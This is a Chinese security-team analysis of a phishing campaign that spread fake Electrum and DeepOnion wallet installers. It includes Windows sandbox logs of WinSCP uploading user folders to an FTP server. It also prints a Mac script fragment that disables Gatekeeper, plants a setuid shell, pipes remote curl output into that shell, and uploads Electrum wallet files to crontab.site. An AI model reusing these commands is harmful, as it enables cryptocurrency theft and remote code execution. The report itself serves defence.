伪 Electrum 鱼叉钓鱼攻击分析

06/11 10:06
阅读数 32

作者:爱上平顶山@慢雾安全团队
原文链接:https://mp.weixin.qq.com/s/7MMXj8Lll4YkssOXoxdm4A

前言

近日,慢雾安全团队收到情报,有专业黑产团队针对交易所用户进行大规模邮件批量撒网钓鱼攻击。

钓鱼邮件如图:

慢雾安全团队收到情报后,第一时间展开分析。

以下是详细分析过程:

攻击细节

我们点击跳转目标页面:

从上图可以看到,针对 Mac OS X / macOS / Windows 不同系统都给出了下载链接;链接指向黑客木马文件存放位置。

于3天前,创建的账号,里面存在两个项目:

  • b*.github.io
  • b****t

上图样本 “Bi****-Setup.exe” 是 Windows 下的恶意文件。

“index.html” 是一个仿冒的升级提示页面,诱导用户升级下载。

详细分析

接下来我们对Windows端和Mac端分别进行分析:

1.Windows 端

下图为样本 “Bi****-Setup.exe” 数字签名:

(1)EXE 文件基本信息

文件名称:B****-KYC-Setup.exe

子文件信息:

script.txt/877da6cdd4eb284e2d8887b24a24168c/Unknown

setup.exe/fe1818a5e8aed139a8ccf9f60312bb30/EXE

WinSCP.exe/e71c39688fad97b66af3e297a04c3663/EXE

(2)关键行为

行为描述: 屏蔽窗口关闭消息

详情信息:hWnd = 0x00030336, Text = Deep Onion Setup: Completed, ClassName = #32770

(3)进程行为

行为描述: 创建本地线程

详情信息:

TargetProcess: %temp%\****.exe, InheritedFromPID = 2000, ProcessID = 2888, ThreadID = 2948, StartAddress = 00405209, Parameter = 0001034A

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3188, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3192, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3196, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3200, StartAddress = 00819BF4, Parameter = 0272E270

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3232, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3236, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3240, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3244, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3248, StartAddress = 008B9F7C, Parameter = 00000000

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3180, ThreadID = 3252, StartAddress = 00819BF4, Parameter = 0272E170

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3140, ThreadID = 3264, StartAddress = 009B8C28, Parameter = 026F4B90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3164, ThreadID = 3280, StartAddress = 009B8C28, Parameter = 026F4C90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3172, ThreadID = 3284, StartAddress = 009B8C28, Parameter = 026F4B90

TargetProcess: WinSCP.exe, InheritedFromPID = 2888, ProcessID = 3120, ThreadID = 3352, StartAddress = 009B8C28, Parameter = 026F4B90

(4)行为描述: 创建新文件进程

详情信息:

[0x00000c30]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_documents.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\My Documents" "09-06-2020-4:51:51_documents"

[0x00000c44]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_appdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Application Data" "09-06-2020-4:51:51_appdata"

[0x00000c5c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_localappdata.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Local Settings\Application Data" "09-06-2020-4:51:51_localappdata"

[0x00000c64]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_onedrive.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\OneDrive" "09-06-2020-4:51:51_onedrive"

[0x00000c6c]ImagePath = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe, CmdLine = "C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe" /ini=null /script="script.txt" /log="winscp_pictures.log" /loglevel=0 /parameter "C:\Documents and Settings\Administrator\Pictures" "09-06-2020-4:51:51_pictures"

(5)文件行为

行为描述: 创建文件

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll

C:\Documents and Settings\Administrator\Application Data\winscp.rnd

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_onedrive.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_localappdata.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_documents.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_pictures.log

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

(6)行为描述: 创建可执行文件

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll

(7)行为描述: 覆盖已有文件

详情信息:

C:\Documents and Settings\Administrator\Application Data\winscp.rnd

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\null

(8)行为描述: 查找文件

详情信息:

FileName = C:\Documents and Settings

FileName = C:\Documents and Settings\Administrator

FileName = C:\Documents and Settings\Administrator\Local Settings

FileName = C:\Documents and Settings\Administrator\Local Settings\Temp

FileName = C:\Documents and Settings\Administrator\Local Settings\%temp%

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\nsyA.tmp

FileName = C:\DOCUME~1

FileName = C:\DOCUME~1\ADMINI~1

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.exe

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-CN

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh-Hans

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.zh

FileName = C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\.nsis_files\WinSCP.CHS

(9)行为描述: 删除文件

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\nsi9.tmp

C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp

(10)行为描述: 修改文件内容

详情信息:

C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 32768
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 33203
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 65971
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\WinSCP.exe ---> Offset = 66905
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\script.txt ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 24146
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 44980
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 60884
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\setup.exe ---> Offset = 93652
C:\Documents and Settings\Administrator\Local Settings\Temp\nsyA.tmp\System.dll ---> Offset = 0
C:\Documents and Settings\Administrator\Application Data\winscp.rnd ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 0
C:\Documents and Settings\Administrator\Local Settings\Temp\.nsis_files\winscp_appdata.log ---> Offset = 102

(11)网络行为

行为描述: 建立到一个指定的套接字连接

详情信息:

IP: ##.138.40.##:128,SOCKET=0x000001d0

IP: ##.138.40.##:128,SOCKET=0x000001cc

我们测试打开,自解压:

结果发现用于上传本地用户信息的 FTP 账号密码,同时有一个正常的 Electrum Installer 文件,一旦用户安装后使用, 在 Electrum 下输入的敏感信息将被发送到远程恶意 FTP 服务器接收。

2020年06月02日 开始,已经有用户陆续中招。

2.Mac 端:

(1)安装命令:

(2)脚本内容:

(3)恶意地址:https://github.com/deep-onion(模仿知名项目https://deeponion.org/ 的Github地址 https://github.com/deeponion )

恶意地址下也有两个项目:

  1. deep-onion.github.io

  2. wallet

https://github.com/deep-onion/deep-onion.github.io

此文件此处不做分析。

(4)Mac 端

https://github.com/deep-onion/wallet

恶意文件是 DeepOnion

执行恶意脚本后是一系列恶意操作,

如:

try {
  shell_exec("spctl --master-disable");

  $ksh = trim(shell_exec("which ksh"));
  shell_exec("cp $ksh $homedir/.ksh");
  shell_exec("cd $homedir && chown root:wheel .ksh && chmod a+rwxs .ksh");

  shell_exec("cd $homedir && echo '#!/bin/bash' > .strtp && echo 'sleep 300' >> .strtp && echo 'curl http://crontab.site/?log=startup\&key=startup\&id=$id | $homedir/.ksh' >> .strtp && chown root:wheel .strtp && chmod a+x .strtp");

try {
   $dir = "$homedir/.electrum/wallets";
   if (file_exists($dir)) {
      $files = scandir($dir);
      foreach ($files as $file) {
         shell_exec("curl -s --data-binary \"@$dir/$file\" http://crontab.site/?log=startup\&key=$file\&id=$id");
      }
   }
} catch (Exception $e) {
   shell_exec('echo "Caught exception: ' . $e->getMessage() . '"' . " >> $log");
}

shell_exec("curl -s --data-binary \"@$log\" http://crontab.site/?log=startup\&key=log\&id=$id");

whoami >> /tmp/cron.log
ls -al /Users/ >> /tmp/cron.log
ls -al $HOMEDIR >> /tmp/cron.log
curl --data-binary "@/tmp/cron.log" http://crontab.site/?log=startup\&key=cron.log\&id=$UID

大致流程

通过以上一些列操作,从而盗取用户隐私信息。

备注:

C2 信息:

crontab.site

邮箱 alashanvinov@yandex.ru

phone_tag +7.9453949549

注册时间 2020-04-20 17:47:03

过期时间 2021-04-20 23:59:59

更新时间 2020-04-20 17:47:04

慢雾建议

针对本次攻击事件慢雾安全团队建议:

  • 认清官方邮箱后缀
  • 谨慎对待未知来源邮件里的链接与附件
  • 怀疑一切以“升级”、“账号异常”等理由的邮件
  • 对于需要处理但可疑的邮件内容,需及时咨询专业人员


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1240/

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